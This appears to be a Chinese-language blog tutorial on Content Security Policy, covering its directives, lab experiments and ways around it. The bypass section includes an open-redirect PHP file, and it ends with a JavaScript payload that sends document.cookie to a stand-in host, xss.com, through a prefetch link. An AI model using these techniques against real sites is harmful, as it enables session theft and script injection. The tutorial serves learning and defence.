CSP基础知识

简介

内容安全策略(CSP)是一种web应用技术用于帮助缓解大部分类型的内容注入攻击,包括XSS攻击和数据注入等,这些攻击可实现数据窃取、网站破坏和作为恶意软件分发版本等行为。该策略可让网站管理员指定客户端允许加载的各类可信任资源。

开启CSP的两种方法

  • 一种是通过 HTTP 头信息的Content-Security-Policy的字段

    1
    header("Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/");
  • 另一种是通过网页的<meta>标签。

    1
    <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org; child-src https:">
    • 脚本:只信任当前域名
    • <object>标签:不信任任何URL,即不加载任何资源
    • 样式表:只信任cdn.example.orgthird-party.org
    • 框架(frame):必须使用HTTPS协议加载
    • 其他资源:没有限制

    启用后,不符合 CSP 的外部资源就会被阻止加载。

限制选项

资源加载限制

  • script-src:外部脚本
  • style-src:样式表
  • img-src:图像
  • media-src:媒体文件(音频和视频)
  • font-src:字体文件
  • object-src:插件(比如 Flash)
  • child-src:框架
  • frame-ancestors:嵌入的外部资源(比如frame、iframe、embed和applet)
  • connect-src:HTTP 连接(通过 XHR、WebSockets、EventSource等)
  • worker-srcworker脚本
  • manifest-src:manifest 文件

default-src

default-src用来设置上面各个选项的默认值。

1
Content-Security-Policy: default-src 'self'

上面代码限制所有的外部资源,都只能从当前域名加载。

如果同时设置某个单项限制(比如font-src)和default-src,前者会覆盖后者,即字体文件会采用font-src的值,其他资源依然采用default-src的值。

URL限制

有时,网页会跟其他 URL 发生联系,这时也可以加以限制。

  • frame-ancestors:限制嵌入框架的网页
  • base-uri:限制<base#href>
  • form-action:限制<form#action>

其他限制

其他一些安全相关的功能,也放在了 CSP 里面。

  • block-all-mixed-content:HTTPS 网页不得加载 HTTP 资源(浏览器已经默认开启)
  • upgrade-insecure-requests:自动将网页上所有加载外部资源的 HTTP 链接换成 HTTPS 协议
  • plugin-types:限制可以使用的插件格式
  • sandbox:浏览器行为的限制,比如不能有弹出窗口等。

report-uri

有时,我们不仅希望防止 XSS,还希望记录此类行为。report-uri就用来告诉浏览器,应该把注入行为报告给哪个网址。

1
Content-Security-Policy: default-src 'self'; ...; report-uri /my_amazing_csp_report_parser;

上面代码指定,将注入行为报告给/my_amazing_csp_report_parser这个 URL。

浏览器会使用POST方法,发送一个JSON对象。

选项值

每个限制选项可以设置以下几种值,这些值就构成了白名单。

  • 主机名:example.orghttps://example.com:443
  • 路径名:example.org/resources/js/
  • 通配符:*.example.org*://*.example.com:*(表示任意协议、任意子域名、任意端口)
  • 协议名:https:data:
  • 关键字'self':当前域名,需要加引号
  • 关键字'none':禁止加载任何外部资源,需要加引号

多个值也可以并列,用空格分隔。

1
Content-Security-Policy: script-src 'self' https://apis.google.com

如果同一个限制选项使用多次,只有第一次会生效。

如果不设置某个限制选项,就是默认允许任何值。

script-src的特殊值

除了常规值,script-src还可以设置一些特殊值。注意,下面这些值都必须放在单引号里面。

  • ‘unsafe-inline’:允许执行页面内嵌的<script>标签和事件监听函数
  • ‘unsafe-eval‘:允许将字符串当作代码执行,比如使用evalsetTimeoutsetIntervalFunction等函数。
  • nonce值:每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行
  • hash值:列出允许执行的脚本代码的Hash值,页面内嵌脚本的哈希值只有吻合的情况下,才能执行。

nonce值的例子如下,服务器发送网页的时候,告诉浏览器一个随机生成的token。

1
Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'

页面内嵌脚本,必须有这个token才能执行。

1
2
3
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
// some code
</script>

hash值的例子如下,服务器给出一个允许执行的代码的hash值。

1
Content-Security-Policy: script-src 'sha256-qznLcsROx4GACP2dm0UCKCzCG-HiZ1guq6ZZDob_Tng='

下面的代码就会允许执行,因为hash值相符。

1
<script>alert('Hello, world.');</script>

注意,计算hash值的时候,script标签不算在内。

除了script-src选项,nonce值和hash值还可以用在style-src选项,控制页面内嵌的样式表。

注意点

(1)script-srcobject-src是必设的,除非设置了default-src

因为攻击者只要能注入脚本,其他限制都可以规避。而object-src必设是因为 Flash 里面可以执行外部脚本。

(2)script-src不能使用unsafe-inline关键字(除非伴随一个nonce值),也不能允许设置data:URL。

(3)必须特别注意 JSONP 的回调函数。

CSP实验

实验1 CSP测试

实验代码解析

index.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<html>

<head>
<meta charset="utf-8">
<title>内容安全策略 (CSP)</title>
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.bootcss.com; child-src https:">
<script src="//cdn.bootcss.com/jquery/3.0.0/jquery.min.js"></script>
<script src="/localhost.js"></script>
<link rel="stylesheet" href="//cdn.bootcss.com/weui/0.4.0/style/weui.min.css"/>
</head>

<body>
<img src="http://obr4sfdq7.bkt.clouddn.com/QQ%E5%9B%BE%E7%89%8720180413234055.png" height="300" width="300">
<iframe src="http://app.uknowsec.cn" width="200" height="200"></iframe>
<iframe src="https://uknowsec.cn" width="200" height="200"></iframe>
</body>
</html>

localhost.js

1
document.write("<h1>This is a local js.</h1>");

从上面的HTML文件可以看到 ,我们利用meta标签对页面进行开启csp

1
<meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.bootcss.com; child-src https:">
  • 脚本:只信任当前域名
  • <object>标签:不信任任何URL,即不加载任何资源
  • 样式表:只信任cdn.bootcss.com
  • 框架(frame):必须使用HTTPS协议加载
  • 其他资源:没有限制

可以看到我在代码中引入以下内容

  • 引用外部和当前域的js

    1
    2
    <script src="//cdn.bootcss.com/jquery/3.0.0/jquery.min.js"></script>
    <script src="/localhost.js"></script>
  • 引用外部的样式

    1
    <link rel="stylesheet" href="//cdn.bootcss.com/weui/0.4.0/style/weui.min.css"/>
  • HTTPS协议和HTTP协议的frame

    1
    2
    <iframe src="http://app.uknowsec.cn" width="200" height="200"></iframe>
    <iframe src="https://uknowsec.cn" width="200" height="200"></iframe>
  • 其他图片资源

    1
    <img src="http://obr4sfdq7.bkt.clouddn.com/QQ%E5%9B%BE%E7%89%8720180413234055.png" height="300" width="300">
    实验运行结果

    csp_1

    由实验截图可以看到

  • 外部的资源引用失败,控制台给出了报错信息

  • HTTP协议的frame加载失败,控制台给出了报错信息
  • 其他可以加载的img资源和本地的js脚本都加载成功

实验2 report-uri测试

尽管report-to指令旨在取代已弃用的report-uri指令, report-uri已经从Web标准中删除,但在大多数浏览器中仍不受支持。因此,可以同时指定report-toreport-uri

在支持的浏览器中report-toreport-uri指令将被忽略。

实验代码解析
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header("Content-Security-Policy: default-src 'none'; style-src cdn.example.com; report-uri /csp_report");
?>

<html>

<head>
<meta charset="utf-8">
<title>内容安全策略 (CSP)</title>
<link rel="stylesheet" href="//cdn.bootcss.com/weui/0.4.0/style/weui.min.css"/>
</head>

<body>
</body>
</html>

在代码中我们利用的策略是限制外部非cdn.example.com域名下的样式表,并把报告发送到/csp_report目录。

我们在代码引用cdn.bootcss.com/weui/0.4.0/style/weui.min.css查看实验结果。

csp_2

由上图可以看到发送出了JSON格式的POST数据。

实验3 script-src特殊值测试

unsafe-inline

script-src设置为unsafe-inline时允许内联脚本和内联事件处理程序。

内联脚本和内联事件处理程序就是在html中利用<script>标签加入的JS代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-Security-Policy: script-src 'unsafe-inline';");
?>

<html>

<head>
<meta charset="utf-8">
<title>内容安全策略 (CSP)</title>
</head>
<body>
<script>
document.write("<h1>允许执行页面内嵌的标签和事件监听函数.</h1>");
</script>
<script src="/localhost.js"></script>
</body>
</html>

在上面的代码中,我们引入了一个内联的js脚本和一个外置的js脚本,运行代码结果如下。

内联的js脚本是可以执行的,但是外置的js脚本被警报了。

unsafe-eval
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header("Content-Security-Policy: script-src 'unsafe-eval' 'unsafe-inline'");
?>

<html>

<head>
<meta charset="utf-8">
<title>内容安全策略 (CSP)</title>
</head>
<body>
<script>
eval('document.write("<h1>unsafe-eval测试.</h1>")');
</script>
</body>
</html>

这里我们将script-src值设置为unsafe-eval,这里还要开启内置事件的开关unsafe-inline才能执行内置事件。

执行结果是可以看到利用eval函数将字符串当作代码执行了。

nonce值
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("Content-Security-Policy: script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'");
?>

<html>

<head>
<meta charset="utf-8">
<title>内容安全策略 (CSP)</title>
</head>
<body>
<script nonce=EDNnf03nceIOfn39fn3e9h3sdfa>
document.write("<h1>script nonce 测试.</h1>");
document.write("<h1>nonce=EDNnf03nceIOfn39fn3e9h3sdfa.</h1>");
</script>
</body>
</html>

在上诉代码中,header头设置了script-src 'nonce-EDNnf03nceIOfn39fn3e9h3sdfa'这里的nonce值对相应的

script进行判断,如果scriptnonce值与之相同,就可以执行相应的Js脚本。

CSP的绕过

302 Bypass CSP

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
header("Content-Security-Policy: script-src http://127.0.0.1/ http://xss.cc/the_only_allow_dir/");
?>
<html>
<head>
</head>
<body>
csp header test

<script src="/test.php?u=//xss.cc/myjs/a.js">
</script>
</body>
</html>

如上代码:

​ CSP允许http://127.0.0.1/http://xss.cc/the_only_allow_dir/这两个域的script

引用。

​ 这里的场景需要一个可以302跳转的文件,只要是在域内允许的都可以。这里我们在本地域内创建一个test.php文件。

1
2
3
<?php
header("Location: " . $_GET[u]);
?>

​ 这样我们就有一个302跳转的文件。

​ 在代码中还允许了http://xss.cc/the_only_allow_dir/ 这个域,然后我们在

1
http://xss.cc/myjs/a.js

​ 写入js

1
alert('uknow')

​ 这里我们测试就能成功了。

CSP拦截情况
  • 302跳转页面不在允许域内,比如302.php放在了站的根目录下,允许了http://127.0.0.1/test/这样是会被拦截的。
  • 删除策略中的http://xss.cc/the_only_allow_dir/ ,用302跳转到外域即<script src="/test.php?u=//xss.cc/myjs/a.js">这样也是会拦截的。
  • 既然外域被允许了,那直接引用外域即<script src="//xss.cc/myjs/a.js">这样也是会被拦截的。
总结

从以上的实验来看这个绕过是需要一定条件的,如下:

  • script-uri本地域内需要有一个302跳转页面可以利用,这种页面大多存在于登陆,退出登录。
  • script-uri的外域内可以构造一个恶意的evil.js。如果外域有一个文件上传漏洞,或者引用的CDN存在一个恶意的evil.js

在 HTML5 中的一个新特性:页面资源预加载,他是浏览器提供的一个技巧,目的是让浏览器在空闲时间下载或预读取一些文档资源,用户在将来将会访问这些资源。一个Web页面可以对浏览器设置一系列的预加载指示,当浏览器加载完当前页面后,它会在后台静悄悄的加载指定的文档,并把它们存储在缓存里。当用户访问到这些预加载的文档后,浏览器能快速的从缓存里提取给用户。

经测试在chromefirefoxprefetchprerender预加载一个页面这两种方法已经被拦截了。

payload如下:

1
2
3
4
var n0t = document.createElement("link");
n0t.setAttribute("rel", "prefetch");
n0t.setAttribute("href", "//xss.com/?" + document.cookie);
document.head.appendChild(n0t)